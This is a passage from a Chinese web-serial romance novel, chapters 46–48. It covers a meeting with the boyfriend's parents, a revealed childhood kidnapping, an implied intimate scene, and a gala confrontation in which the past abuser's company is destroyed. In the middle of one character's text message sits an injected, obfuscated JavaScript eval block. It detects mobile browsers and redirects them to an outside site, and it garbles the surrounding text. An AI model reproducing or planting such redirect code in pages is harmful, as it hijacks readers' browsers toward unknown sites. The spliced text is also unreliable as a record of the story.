傅嘉礼没好意思说自己今天忘带了,楚韫点了点头,说了声“谢谢”。 最后傅砚珩也跟着他们一起上的楼,直到在电梯间,傅嘉礼还在想他这小庙能不能容得下这尊大佛,但很快他就无暇想这些乱七八糟的了—— 因为电梯门一打开,他就和家门口的傅父傅母打了个照面。 46. 父母 场面一度变得十分寂静。 楚韫最开始还没意识到眼前这两位是谁,直到傅砚珩不动声色地握住了他的手。 “爸、妈,你们怎么来了?” 宋丽萍没好气地看了一眼傅嘉礼:“我和你爸去拜访一个朋友,正好经过你这里,想着上来看看,结果打你电话也不接。” 说完,她的目光就落在了楚韫身上,语气和善了许多:“这位是……?” 楚韫刚要自我介绍,旁边的傅砚珩先出声了:“楚韫,我男朋友。” 楚韫至今不知道傅砚珩到底和没和他父母出过柜,但从两位老人八风不动的微笑中是看不出什么的,于是他朝两位一点头,很有礼貌地说:“叔叔阿姨好。” 傅嘉礼打开门,赶紧把家门口的几座大佛全都请了进去,心想这下可好了,原本就是上来取个东西,结果场面急转直下演变成了见家长。 宽敞的客厅里,傅承均和宋丽萍坐在主位,傅嘉礼在厨房忙忙活活地给大家倒水,就听宋丽萍和蔼地率先开口了:“其实之前砚珩就告诉过我们,说他有男朋友了。我和他爸之前还不相信,以为这孩子是在骗我们,结果今天见到你真是意外之喜。” 楚韫努力回想之前看过的那本《中国式人情社会:如何与伴侣父母沟通》,笑了笑,说道:“……之前因为各种原因,一直没来得及拜访叔叔阿姨,是我失了礼数。” 楚韫是坐在沙发上的,傅砚珩就站在他身后,闻言一垂眸,就看到一段优美如白瓷的脖颈。 他语气称得上是无波无澜:“是我这边最近事情多,和楚韫没关系。” 宋丽萍还想说什么,被傅嘉礼先一步打断了:“来来来,先喝口水。” 于是宋丽萍的注意力短暂地转移到了向来让他头疼的小儿子上:“你在瑞禾做得怎么样?没给你哥添乱吧。” 傅承均也把目光放在了傅嘉礼身上。 傅嘉礼一个头两个大,心想这怎么又来盘问自己了:“挺好的挺好的,不信你们问我哥,我要是违法乱纪了,我哥第一个把我踢出公司。” 傅砚珩没说话,就代表傅嘉礼这段时间确实挺老实。宋丽萍很快又把话题转移到了楚韫身上,笑眯眯地说:“小楚,说起来我和他爸真应该感谢你,砚珩这孩子,从小到大性格都挺内敛的,也不会说什么好听的话讨人喜欢,有人能相中他我们都觉得是个奇迹。” 楚韫依旧维持着微笑:“没有阿姨,傅砚珩非常好。” 宋丽萍看起来很欣慰,这时一直没说话的傅承均终于开口了:“你是廖叙生的徒弟?” 楚韫一顿,随即点了点头。 “这么说其实我们还挺有缘的,”傅承均微不可察地叹了口气,“我和你师父也算是有段交情……罢了,过去的事就不提他了。” “我前两天看了新闻,老廖能摆脱那些污名,应该都是你的功劳吧。” 楚韫说道:“也有很多人在帮我,不然凭我一己之力是做不到的。” 傅承均喝了口杯里的红茶,眉头一皱,看向傅嘉礼:“你这是什么乱七八糟的东西?” 傅嘉礼“啊”了一声,看起来颇为无辜:“就,红茶啊。” 傅承均懒得和他置气,和楚韫说话时已经收敛了很多威严:“之前砚珩给我拿回来的茶是你做的吧?” 楚韫完全不知道这回事,傅砚珩也从来没和他说过。他下意识抬头看了一眼傅砚珩,正好与对方目光相对。 于是傅砚珩替他回答了:“是。” 傅承均脸上的皱纹都舒展开:“怪不得,我从你的茶叶里喝出了几分老廖的味道,还有很多与众不同的惊喜。” 傅嘉礼心想他爸真是以前叱咤风云惯了,跟儿媳妇说话都像是领导审问下属。 就在这时,傅砚珩看了眼手表,说道:“时间不早了,傅嘉礼,你先把东西拿过来。” 傅嘉礼“哎”了一声,立刻去屋里把那套兔毫盏拿了过来。 “爸、妈,楚韫最近身体不太好,我们先走了。” 宋丽萍闻言立刻道:“要不要紧?回头让小闻把我那边的燕窝给小楚拿过去……” 楚韫有些啼笑皆非,温和道:“谢谢阿姨,不用了,我这也不是什么大毛病。” 傅父傅母还要在傅嘉礼那待一会,在门口告别时,向来不苟言笑的傅承均突然露出一丝笑容:“既然选择了彼此,就把日子过好——” 傅砚珩的眼中闪过一丝嘲意。 “叮”的一声打断了傅承均的话音,楚韫和三人告别,傅砚珩也朝着那个方向点了点头,看起来平静而正常。 . 直到回到车上,楚韫一直紧绷的身体才放松下来,对傅砚珩说:“真没想到我居然是通过这种方式见的家长。” 傅砚珩看起来也很头疼:“我也没想到——” 虽然这场看起来不那么郑重的会面完全打乱了他的计划,但看起来效果还行,何况这一步本来就是走个程序,是他私心想给他们这段关系一个完整的体验。 楚韫刚想说你爸妈看起来感情不错,和你描述的不太一样,突然觉出了几分不对劲。 刚才他全神贯注于和傅父傅母的交谈,直到此时才意识到,似乎除了傅母说傅砚珩“性格内敛”,两位老人就再也没主动提起过这个长子。 而哪怕是傅嘉礼,也能得到两句关心和笑骂。 一个令人省心的、样样优秀的长子,和一个玩世不恭的、让人头疼的次子,似乎父母理所应当把更多的目光倾注于后者,但楚韫却觉得,不应该是这样的。 那些缄默不言中,有多少是发自肺腑的“放心”,又有多少是经年累月积攒下来的“漠视”? 楚韫不知道是不是自己太敏感了,但他只要一想到在邬桥的那个晚上,火树银花几乎照亮了半边夜空,一片璀璨绚烂中夹杂着无数的欢声笑语,身边这个人毫不在意地将过往揭开一个角落,任由黑暗中的伤口被天光刺痛,就又觉得,自己这些看似毫无根据的想法并不是空穴来风。 回去后,傅砚珩给楚韫冲了杯红糖水,看他全部喝下去才亲了亲他的唇角:“好甜。” 他本来想像往常一样退开,结果楚韫抓住了他的袖子,一双墨黑的眸子一瞬不瞬地注视着他,像是饱蘸松墨荡开的惊心动魄的一笔,细看时又像有流萤在瞳中轻颤。 没有人面对这样的神色还能镇定自若,傅砚珩也不例外。 “傅砚珩,你对我,就没什么想要的吗?” 傅砚珩难得狼狈地移开目光,似乎不与楚韫对视,就能强行压下心里叫嚣着的欲望。他有些艰难地哑声道:“别闹,你身体还没彻底康复。” “没关系的,”楚韫笑了笑,灵巧的指尖隔着衬衫,若有若无地触碰着匀称利落的腹肌,“你上次在车里帮我,我想了一下,还是礼尚往来比较好——” 他不要命似地凑了过去,温热的呼吸拂过傅砚珩耳廓,引起肌肤的一阵战栗:“还是其实你没那么喜欢我——” 上扬的尾音戛然而止,因为傅砚珩再也无法忍受,一把拦腰将他抱起。 傅砚珩知道楚韫今晚过于反常了,若是往常,他还会冷静地推敲这背后的原因,但现在他已经无暇、也不想思考太多。 楚韫被放在了主卧的大床上,因为顾及着他身上有伤,那力度甚至是轻柔的。床头开了一盏小灯,微弱的光芒足以缓慢地抚慰生命中的缺角,又不至于灼伤一个带着伤痛的灵魂。 傅砚珩向来微微上挑的眼尾此刻被压得很低,带着侵略性的凶狠,炽热的目光从楚韫的发梢一寸寸滑到指尖,仿佛头狼在巡视自己珍藏于巢穴中的猎物。 楚韫仰起头,主动将自己送到野兽口中,呼吸缠绕间,他的手指一路向下,摸索到了一个金属搭扣—— “咔哒”一声,汹涌滚烫的欲望毫不掩饰地喷薄而出,楚韫顿时觉得被灼伤的应该是自己。 “怕了?”傅砚珩哑声笑了,握住楚韫的那只手,“还是没经验?” 胆大包天的楚韫后知后觉地感觉到一点羞耻,但很快就被他含糊地掩盖了过去:“……没经验。” “傅老师教我。” …… 长夜漫漫。 餍足的凶兽搂着他的珍宝,绵长温热的呼吸喷洒在颈窝,像一片羽毛扫过肌肤。楚韫背对着傅砚珩,看了眼时间,把屏幕亮度调到最低,用颤抖的手给傅嘉礼发信息。 [楚韫:睡了吗?问你点事情。] 手机一震,楚韫差点脱手。 [傅嘉礼:没睡没睡,嫂子想问什么?] 想问什么,好像昭然若揭,又有几分难以启齿。 正事要紧,楚韫厚着脸皮编瞎话: [就是,我想增进一下和你哥的感情,但感觉还不够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383333|184157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了解他,所以想听听你哥小时候的事情。] 对话框上方显示“正在输入中”,就在楚韫怀疑傅嘉礼要发过来一篇千字小作文时,搭在腰间的小臂突然紧了紧。 楚韫做贼心虚地立刻把手机扣了过去,小幅度地偏头看了一眼,就见傅砚珩依旧双眼紧闭,好像只是借由一个无意识的动作,在睡梦中获得更多的安全感。 “……” 楚韫的心里霎时间变得柔软温暖。再度打开手机的时候,屏幕上已经出现了傅嘉礼一气呵成的长篇大论。 [傅嘉礼:我比我哥小六岁,所以从我有记忆起,我哥就已经不小了。我哥从小到大的喜好都没怎么变过,颜色喜欢黑白灰,款式偏爱简洁低调,最喜欢吃的菜是芙蓉蟹斗,最讨厌智商低的人……哎这些都没那么重要,我估计你也知道。] 芙蓉蟹斗…… 一股凉意从文字传到指尖,进而蔓延到四肢百骸。 楚韫和傅砚珩吃过这么多次饭,七夕节那次就有一道芙蓉蟹斗,但他几乎没怎么动筷—— 甚至不只是这道菜,傅砚珩不喜欢吃一切海鲜。 那到底是什么给了傅嘉礼一种错觉,让他以为傅砚珩喜欢吃芙蓉蟹斗? [我哥十多岁的时候性格就挺冷的,一方面是他骨子里自带的,但我觉得更多的是我爸对他要求得太严格了,别人可以拿出空余时间来消遣,我哥不行,他只能按照事先规划的内容完成每天应该做的事情......啊,说起来其实就跟现在差不多,但那时候是客观上的没有自由,动辄还要被我爸批评教育。我记得有一次我哥不知怎么,把一只流浪猫弄回了家里,结果当天晚上那只猫就被我爸扔出去了,我哥在厨房里挨了我爸一巴掌,等他跑出去的时候,那只流浪猫已经被过路的汽车碾死了。] 楚韫轻轻地打了个寒战。 [嫂子,虽然我没少跟你抱怨我哥,但其实我哥是什么样的人,我心里还是有数的。我从来没见过我哥对一个人像对你这样,嗯,就是有一种默不作声地放在心尖上的感觉,我相信我哥看人的眼光,所以跟你也没什么不能说的。] [大概是我哥十四五岁的时候吧,我爸有一个生意场上的竞争对手,因为跟亿恒争一块地皮输了,一直怀恨在心,于是那个老板就让人绑架了我哥,告诉我爸,如果不把那块地皮拱手相让,或者是他敢报警,就立刻撕票。具体的细节我记不太清了,但那块地皮好像对亿恒至关重要,关系着整个集团未来十年的发展,然后,然后那天晚上,我听见我爸和我妈在书房里的谈话,他们想要放弃我哥。] [我妈一开始哭得很大声,她觉得我爸太冷血无情。然后我爸说,孩子没了可以再有,继承人没了可以再培养,但是如果这块地落在对家手里,整个集团就会落入下风,搞不好还会节节败退,到时候东山再起几乎就是不可能的事。我妈听他这么说,表面上答应了,私底下还是去警局报了案,然后不知道中间发生了什么,反正最后我哥被救出来了。] [可能是因为那天是罕见的特大雷暴雨吧,所以我能记得这么清楚,后来我爸妈一起去警局接我哥,我一个人也不敢睡,就在客厅等他们回来。然后第二天天快亮的时候,我哥终于回来了,看起来精神不太稳定,衣服上还有血迹,不知道是他自己的还是那个绑匪的……然后我就觉得,从这件事之后,我哥和家里所有人都有了隔阂。] 怪不得,怪不得。 为什么每到雨天就会情绪失控、痛苦到难以入睡,为什么会对这样的自己产生本能的厌弃,为什么明明是一家人,却有一种若有若无的貌合神离—— 当时的傅砚珩还那么小,看到那只被汽车碾死的流浪猫时会怎么想?听着外面的疾风骤雨、电闪雷鸣,和穷凶极恶的绑匪相处一夜的傅砚珩会怎么想?那个歹徒久久没有得到消息,一定会告诉他:你父母抛弃了你。那时候,傅砚珩又会怎么想? 岁月并非缓缓流淌,有时也带着细小的尖刺,将穿身而过的人划得遍体鳞伤。但在外人看来,那或许只是一些无足轻重的小伤口,很快就会彻底愈合,所以连关心都显得多余和可笑。 屏幕彻底熄灭,一片悠远绵长的黑暗中,身后人无论是呼吸、热量,还是那截有力的手臂,都彰显着极强的存在感。 楚韫小心翼翼地转了个身,也搂住了对方,仿佛想借由这个动作,将彼此的灵魂合二为一。 47. 宴会 深秋时节,天气转凉,瑟瑟秋风摧折人间草木,唯有天空变得更加高远辽阔。枝头的梧桐叶差不多掉光的时候,楚韫完成了所有的实验室工作,得到了一系列满意的数据,接下来就是等待明年早春新茶出产,再进行工艺上的具体实践。 前两天GLGA的那位组委会主任给他发来一封邮件,说他有个朋友是Horizon集团的总裁,最近正在中国洽谈业务,打算过两天办一场晚宴,地点就在S市郊外的棠华山庄。 “我手里正好有两封邀请函,我那位朋友和他妻子都很喜欢中国的茶文化,相信他们也会很欣赏你的。” “更何况,”加布压低了声音说:“我听说了你和亿恒的那个合作项目,借此机会提高你在上流社会的知名度,这对你们的合作并不是一件坏事。” 楚韫没有立刻应下,直到后来傅砚珩和他说起:“亿恒的一个合作方在棠华山庄办了一场晚宴,不知道楚老师想不想给你的茉莉花茶找一条国际销路——” 楚韫忍着笑意:“你这个合作方不会是Horizon集团吧。” 傅砚珩愣了一下,就听楚韫说:“之前GLGA的组委会主任已经问过我,现在看来我要答应他了。” 于是几天后,楚韫和傅砚珩一起出席了这场商界晚宴。 暮色四合,棠华山庄犹如一颗温润的明珠,在半山腰处闪烁着光华。高达数米的胡桃木门镶嵌着精巧的铜制花纹,此刻正无声地敞开着,迎接着宾客的到来。 楚韫今天穿了一件墨蓝近黑的暗纹西装,领口和袖口处用同色丝线织成了缠枝纹,只有行走间才会显出精细繁复的轮廓。里面的月白衬衫领口笔挺,白母贝纽扣在灯光下泛着柔和的虹彩。 全身上下的点睛之笔是腰间的那枚玉钩,替代了寻常皮带扣,羊脂白的玉料莹润通透,钩头雕着极小的云纹,举手投足间与他的着装交相辉映,看起来沉敛又不失韵味。 傅砚珩临时被公司的事绊住了,稍晚些才能来。楚韫走进宴会厅,高高的穹顶悬着盏巨大的水晶吊灯,万千切割面反射着暖光,在浅米色地毯上投下星星点点的光斑,像撒了把碎钻。 他像溪流山涧里的一阵风,走动时带着淡淡的茉莉花香,误入了今夜的名利场。 宴会厅里已经有人投来或探究、或热切的目光,低沉流淌的钢琴声中夹杂着好奇者的窃窃私语。 “……那位是谁,我好像从来没在这样的场合看见过他。” “不知道,但他的气质真是与众不同,用你们中国人的话说,叫‘芝兰玉树’。” “嘿,我知道他,他叫楚韫,是个挺有名气的制茶师,你们喝过‘雪绡’吗,那就是他的作品。” “怪不得,你这么说我都想去认识一下他了——” 楚韫婉拒了侍者递过来的香槟,一转头就看见了加布,对方正和一个墨绿双眸的灰发男子交谈,看见他立刻露出了巨大的笑容,然后不知道加布和那位朋友说了什么,那个灰发男子脸上露出惊奇的表情,随即两人一齐走了过来。 “戴尔森,这位就是楚韫。”加布向灰发男子如此介绍,然后转向楚韫说道:“楚韫,这位是戴尔森,Horizon集团的总裁。” 楚韫微笑伸出手去:“你好,戴尔森先生。” 戴尔森与他回握,毫不掩饰眼里的惊叹:“楚先生真是年轻有为啊,实不相瞒,我妻子最爱C国的茉莉花茶,尤其是前两年的那款‘雪绡’,刚才加布告诉我,我才知道原来这款茶是楚先生制作的。” 楚韫说道:“谢谢您。能受到茶客喜欢,本身就是对一个制茶师的最高赞誉。” 后来他们又简单寒暄了几句,戴尔森看了一眼落地窗那边的方向,笑着说:“我妻子就在那边,稍后你们可以聊一聊,我相信你们会有很多共同话题的。” 楚韫顺着他的目光看过去,笑了笑:“好的。” 这时有侍者过来,请戴尔森过去聊天,那边赫然是几位在商界有头有脸的人物。戴尔森耸了耸肩,对楚韫说:“请自便,楚先生,祝你拥有一个愉快的夜晚。” “谢谢您。” 戴尔森离开不久,加布也被一个朋友叫走了。楚韫拿了杯红茶,莹白的骨瓷茶杯,上面压着浮雕海棠花纹,茶的品质也很不错。 他一个人有些无聊,看着戴尔森夫人那边像是要结束,正在思考要不要过去,回神时面前已经站了一个陌生男人。 对方上来就是一通冗长的自我介绍,好像恨不得把所有的名誉头衔都搬出来。楚韫心不在焉地听他说了一大堆,偶尔敷衍地点两下头,心里已经翻了一个大大的白眼。 “……楚先生,这是我的名片,不知道你对我是否感兴趣,但或许我们以后可以常联系?” 陌生男人露出一个有点暧昧的微笑,好像手里的不是一张无聊的废纸,而是一块金光闪闪的金条,而他笃定了楚韫会为此神魂颠倒。 楚韫扯了扯嘴角,其实那是一个充满着嘲讽和鄙夷的微笑,但落在男人眼里就让他神魂一荡。 “多谢先生抬举,只是我向来怕扰,平日里除了必要的往来,鲜少与人应酬。”楚韫指尖没动,目光淡淡扫过那张递来的名片,语气平稳得听不出波澜:“这名片若是收了,反倒显得我虚与委蛇,平白辜负了先生的心意,还是算了吧。” 说完,他朝对方微微颔首,便转身离开。 这回楚韫没犹豫,直接走到了戴尔森夫人旁边。 这是一位优雅美丽的女士,她有着西方人共同的深邃的五官,肌肤光滑细腻,仿佛经过岁月沉淀的珍珠。一头金色卷发被巧妙地盘成低髻,几缕碎发垂落在颈侧,以至于在听完楚韫的自我介绍后,那些碎发随着头部的动作微微飘荡:“原来您就是‘雪绡’的创作者,这款茶真的是我第一次喝就爱上的,以至于每次戴尔森来C国出差,我都要让他帮我买一些回去。” “不怕您笑话,我每次喝‘雪绡’的时候,都会感觉到茉莉的柔婉和茶叶的清冽。然后我往往就会幻想自己置身于江南水乡,在雨过天晴时坐在窗边,看檐角的水珠滴落在青石板上。” 楚韫之前的微笑一直都是礼貌而疏离的,直到此刻,他的眼神里添了几分真诚的暖意:“其实一款茶被制作出来后,会因为每个人自身情况的不同而拥有各种各样的解释,但殊途同归的是,这款茶能为所有品鉴它的人留下一段美好的回忆。” “如今听您说,它能跟着戴尔森先生跨越重洋,就好像这茶自己也行了段远路,这份心意本身比任何赞誉都让我觉得开心和满足。” 戴尔森夫人喟叹道:“说实在的,我一直以为做出‘雪绡’的一定是一位很有阅历的老先生,因为这款茶最吸引我的,恰恰是那种馥郁而不张扬的花香。刚才见到你的时候,我虽然为你的年纪吃了一惊,但看你的气质和谈吐,就觉得自己也没有判断失误。” 她递出了自己的名片:“楚先生,我刚刚有一个想法,因为我身边也有很多朋友喝过你的‘雪绡’,并且无一例外地都很喜爱这款茶,不知道你有没有意向将‘雪绡’的销路开拓到海外?” 楚韫愣了一下,他其实并没奢望通过一番谈话就说动对方,但情况比他想象的还要顺利。 他想起戴尔森夫人的家族在欧洲也颇有实力,相应的,这位看起来优雅端方的女士也拥有一颗聪明冷静的头脑,在抛出橄榄枝之前,她已经考虑过这场合作会给她带来多少利益。 “雪绡能得到您和朋友的青睐,是它的幸事。”楚韫声线清稳,接过了戴尔森夫人手里的名片:“希望我们合作愉快。” 戴尔森夫人也露出了真诚的微笑,她喜欢有想法、有魄力的年轻人:“合作愉快。” 和戴尔森夫人交谈过后,楚韫看了眼手机,傅砚珩那边依旧毫无动静,估计是公司的事情比较棘手。 他想了想,给傅砚珩发了条信息。 [楚韫:我刚刚和戴尔森夫人谈完,她有意向和我合作。] 等了两分钟没有得到回复,楚韫便收起手机,打算去自助餐台那边拿一块司康。 就在这时,一个侍者走过来,微笑着和他说:“请问您是楚先生吗?” 楚韫一顿,点了点头:“我是。” 那个侍者侧了侧身,说道:“那边的一位先生想请您过去说说话。” 那里有一张鸡尾酒桌,几个年轻男人正围在一起交流。按照这个侍者的意思,请他过去的恰好是那个背对着他的男人。 楚韫看了一眼那人的背影,还有他周围几个人的面孔,无一例外都让他感到陌生。他不想再遇到刚才那种情况,于是随便找了个借口拒绝:“抱歉,我现在不太方便。” 侍者闻言点了点头,就去回复那个男人了。 钢琴师灵活的指尖流淌出一曲《月光》,正好与窗外的景色相呼应。然而楚韫还没来得及欣赏太久,就听身后传来一道阴冷而熟悉的声音:“原来楚先生的‘不方便’,是在这欣赏美景。” 楚韫一顿,随即转过身,似笑非笑地说:“不然难道要把美好的时间浪费在垃圾身上吗?” 邵凌这几年被丢出国外,明显城府深了些。他没理会楚韫的冷嘲热讽,说道:“在这里见到喜欢的人,对我来说真是意外之喜。” 他是和一个大腹便便的中年男子来的,楚韫扫一眼就知道这人大概率是有求于邵凌,因为想讨好一个人,连表情都会不自觉地谄媚奉承。果不其然—— “原来这位就是邵总念念不忘这么多年的人,今日一见,楚先生果然有这个资本!” “路总,慎言——” 话虽如此,邵凌却丝毫没有谴责的意思。 楚韫没说话,只微微侧头,一双眼睛像深不见底的寒潭,霎时间让那个路总瑟缩了一下。 真恶心。他想。 “这样吧,楚韫,”邵凌的目光变得灼热起来,里面匍匐着楚韫无比熟悉的疯狂,“我今天不想难为你,这里有三杯香槟,只要你把它们喝掉,我就放你走。” 他之前就问过门口接邀请函的侍者,楚韫不过是被一个赛事主任邀请过来的,连这场晚宴最底层的人物都攀不上,更遑论那个真正顶级的圈子了。 而名利场就是如此残酷,自己在国外挣扎了那么多年,终于爬到了别人无法企及的高度,让那个老头子对他刮目相看,甚至动摇了他哥继承人的位置。生意人最擅长权衡利弊,在这 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邵凌看了一眼已经颤抖到说不出话的路总,心里骂了一句“废物”,然后举起手里的酒杯,露出一个微笑:“傅总,我们只是多年未见的朋友,刚才在互相劝酒。” 楚韫皱起眉,一开始见到傅砚珩的惊讶过去后,他私心里并不想让傅砚珩见到邵凌,因为那段经历实在太过狼狈、混乱,又有解释不清的暧昧,他怕傅砚珩多想。 “多年未见的朋友。” 傅砚珩点了点头,好像被他这个拙劣的谎言说服了,随即他的目光落在楚韫身上,不知道是不是邵凌看错,他总觉得那眼神里多了点温柔意味。 “楚韫,他就是邵凌,对吗?” 楚韫瞳孔骤然缩紧,面对邵凌都未曾有过的慌乱浮现在脸上。 傅砚珩怎么会知道他是谁?他是不是知道那些事了? 傅砚珩见他这样,心里叹了口气,主动过去把人拽到自己身边,姿态堪称亲昵。 邵凌和那个路总再傻、再眼瞎,此刻也清清楚楚地意识到了两人的关系。但邵凌想的更多,他有些惊惧不定,因为不知道傅砚珩是否知晓自己当年对楚韫做过的事情。 但随即他就有些神经质地笑了。 知道又怎么样,傅砚珩那个地位的人,要什么样的男人女人没有,怎么会对一个微不足道的楚韫那么上心,顶多是发难两句给他出个气—— “邵氏的核心业务集中于生物制药,如果我没记错的话,亿恒为其提供了赖以生存的数据管理平台。” 邵凌的脸色瞬间变了,他有些不敢置信地看向傅砚珩,齿关里挤出几个字:“傅,傅总——” 傅砚珩身体微微前倾,这个动作带来的无形威压如同巍峨的高山,轰然压下,让邵凌几乎喘不过气。他的声音不高,却清晰到让周围的人都能听清:“从现在开始,亿恒立即终止邵氏生物使用其所有核心工业软件、数据分析平台、云端计算资源以及专属生物信息学工具的授权和访问权限。” 紧接着,不给邵凌任何的喘息机会,他目光扫过邵凌阴鸷的面孔,似笑非笑地说:“二级市场最近对生物制药板块信心似乎不足,邵氏的股价脆弱得不堪一击。接下来我会动用一切资源,全力做空‘邵氏药业’的股票,直至目标价位归零。” “这还只是个开始,邵氏账上那点可怜的资金流,撑不过亿恒的违约金索赔和后续诉讼,银行抽贷的通知很快就会下达。” 邵凌怨毒地盯着傅砚珩,仿佛要通过这种方式把他无法反抗的事情报复回来。 傅砚珩脸上的那点笑意终于褪了个干净,露出里面凶狠冷漠的真容来。他的目光带着森然刺骨的寒意,直刺邵凌的灵魂:“等你们破产清算,资产被打包贱卖的时候,我会让人用最低的价格,把邵氏那点可怜的核心技术、专利,连带着你们邵家祖宅的地皮,一起买下来。然后——” “一、点、点、碾、碎。” 周围响起了低低的吸气声,没有人会怀疑傅砚珩能不能做到,因为他的名字本身就代表着不容置疑的绝对权威。 邵凌几乎要失声尖叫,但最后一点残存的理智堪堪把他从失控边缘拉了回来,他露出一个扭曲疯狂的笑容来,上前一步低声道:“傅总,你以为楚韫是什么清白无辜的人吗?” 霎时间,楚韫心里“咯噔”一声。 邵凌饱含恶意的脸一瞬间在眼前放大,恍惚间楚韫甚至以为回到了那个晚上,噩梦般的KTV包房里,酒精、鲜血、崩落的 衣扣,恶魔在他耳边低声私语。 “傅总一片痴情,但楚韫可是早早就被我——” “哗”的一声,一杯香槟泼在了邵凌脸上,淡黄色的酒液从他惊愕的表情上流过,看起来滑稽又狼狈。 “邵凌,”楚韫目光锐利如刀锋,瞬间剖开了畜生披着的人皮,“公安记录尚且登记在册,那些证据至今还在我手里,你想再添一项诽谤罪吗?” 傅砚珩也同样压低了声音:“你该庆幸,我现在只是要你的公司和你邵家的根基。而你动了楚韫,这笔账,我们有的是时间慢慢算。” “滚吧。” 最后两个字落下,如同巨石砸入死水,瞬间在宴会厅里掀起惊涛骇浪。 48. 生日 训练有素的保安彬彬有礼地把邵凌和那位路总“请”了出去,戴尔森刚才就注意到这边的异常,此时才走过来,饱含歉意地说:“抱歉,Fu,我不知道会出现这样的事情,不然今晚的邀请函压根就不会送到他手里。” 事情原委他刚才已经大致听管家说完了,傅砚珩这几年看起来平静温和了许多,但这并不代表他骨子里的冷酷凶残会淡化消失,恰恰相反,它们只是更深的隐藏起来了而已。 傅砚珩笑了笑:“说起来我这也算是砸你的场子,所以道歉就不必了。” 戴尔森的目光落在楚韫身上,意味深长地调侃道:“话说回来,要不是出了这档子事,我还不知道你们两个的关系。” 他眯起墨绿色的眼睛,忽然想起了什么:“对了,你之前给我看的那片茶园,不会就是楚先生的吧?” 楚韫歪头看了一眼傅砚珩,心想这又是什么时候的事。 傅砚珩含笑的目光与他对视,随即点了点头:“是的,我之前想给你介绍的那个制茶师也是楚韫。” 戴尔森恍然大悟,彻底反应过来了:“原来如此!你在那个时候就——” “时间不早了,我们先走一步,感谢您和夫人今夜的款待。” 傅砚珩一副彬彬有礼的样子,丝毫看不出慌乱。戴尔森眼里露出狡黠的光,感觉抓到了一个对方的小把柄。 哎,看来这人最大的软肋就是他男朋友了。 与戴尔森告别后,楚韫整个人还处于一种茫然的状态。 他向来清晰的思维此刻像一团乱麻,有很多问题想问傅砚珩,比如关于邵凌的事你知道多少,比如你这么做会不会给自己带来麻烦,比如你之前和戴尔森说过什么…… 棠华山庄被迈巴赫抛在身后,山路两侧明亮的路灯飞快地倒退,山林树木虽然是一片灰暗的影影幢幢,却并不显得可怖。 在这样的氛围下,傅砚珩一眼看透了楚韫的心思,率先开口:“邵凌的事情,我并没有特意找人去查,因为你之前说让我相信你,但我现在后悔了——” 楚韫心跳空了一拍,长睫颤动,在眼下覆出一片阴影。他张了张嘴,刚想发出一点声音,就听傅砚珩接着说:“如果我早一点知道邵凌对你做过的那些事,就不会让你独自面对他那么长时间。” 那天的医院走廊里,他从秦澜月嘴里听到“邵凌”这个名字时,脑海里瞬间想到之前闻时和他汇报的信息,放在楚韫门前的那束花是一个叫“邵凌”的人订的—— 一切的谜团都有了解释。贺卡上那句处处透露着诡异的话,楚韫看到那束花时不正常的反应,都源于一个被时光沉埋的、陈年的伤口。 甚至也许在更久之前,这个叫“邵凌”的恶魔就已经一点点地渗透进楚韫的生活,那时候的楚韫是怀着一种什么样的心情,再度与对方周旋、对抗的? 楚韫完全没想到傅砚珩想说的是这个,脸上神情一片空白,过了很久,他才微微一点头,眼里闪烁着复杂的光芒:“没关系的,傅砚珩。” 他摊开掌心给对方看,那里有一道狭长的疤痕,大概是因为时间过去很久了,已经淡到几乎看不出来。 “我很小的时候,因为妈妈需要起早贪黑地出去工作,所以常常一个人在家。我还记得有一天,我因为调皮贪玩,想要自己拿刀给水果削皮,结果削到一半,那个苹果从我手里滚出去了,那把水果刀划伤了我的手掌,留下了一道很长很深的伤口。” “后来我妈妈晚上回来,看到我手掌上已经干掉的血迹,问我是怎么弄的,我把事情经过告诉了她,然后她就一边给我包扎伤口,一边教育我——” 傅砚珩沉沉地看着他的侧脸,又一盏路灯飞快地过去,却用光芒清晰地勾勒出楚韫的轮廓。 “用一个伤口换一个教训,让我在以后的人生中能够多规避一个错误,这不是什么坏事。甚至在以后的岁月里,这道伤疤可能更多的是一种生命的证明,与我的人生融为一体。” 楚韫笑了笑,像是把今夜所有的璀璨灯火都敛入眼中:“你所看到的今天的楚韫,正是由那些或好或坏、或欣喜或痛苦的经历打磨出来的,正是因为这样,你才会被我吸引,然后喜欢上我,不是吗?” 经历过风霜雨雪的灵魂不一定千疮百孔,也有可能会绽放出一种更加奇异的美丽。 傅砚珩的指尖在那道浅浅的疤痕上一遍遍描摹,让楚韫觉得有些痒,刚想把手抽回来,对方已经趁机把他拽了过去,低头吻上那道伤疤。 “你真好看。” 没有人不会为你所倾倒,我的理智、思维、灵魂,无论内外,都心甘情愿为你俯首称臣。 . 傅砚珩雷厉风行、说到做到,短短三天时间,邵氏药业高达八成的营收瞬间蒸发,整个集团赖以运转的现金流立刻枯竭;股票开盘即跌停,恐慌性抛盘如山崩海啸,不过数日,股价便跌穿了所有支撑位,市值缩水超过百分之九十。 随之而来的,就是邵氏药业迅速被法院裁定进入破产清算程序。昔日风光无限的生物制药巨头,此刻只剩下空荡荡的办公楼、被查封的生产线以及一堆被市场抛弃的库存和半成品。员工被遣散,高管纷纷离职,曾经灯火通明的总部大楼一片死寂。 不久,楚韫在手机上看到了一条有关邵氏的新闻推送,标题起得非常有噱头,还带了点阴谋论色彩: 【邵氏药业崩盘疑云:谁在精准猎杀?】 里面还用寥寥笔墨提到了邵家二公子被人绑架,等到被警方救出来的时候人已经疯了,估计余生只能在精神病院里度过。 这个结局倒不让楚韫觉得意外。疯狂到伤害别人的人,就应该让他在混乱癫狂和浑浑噩噩中过一辈子。 时间过得很快,几乎是转眼间,秋天的黄叶就从指尖溜走,第一场雪落在了摊开的掌心。 亿恒在实地调研的基础上,和秫阳县政府签订了技术试点合同,各种传感器和网关通信设备已经安装完毕,只待来年开春就可以正式投入使用。 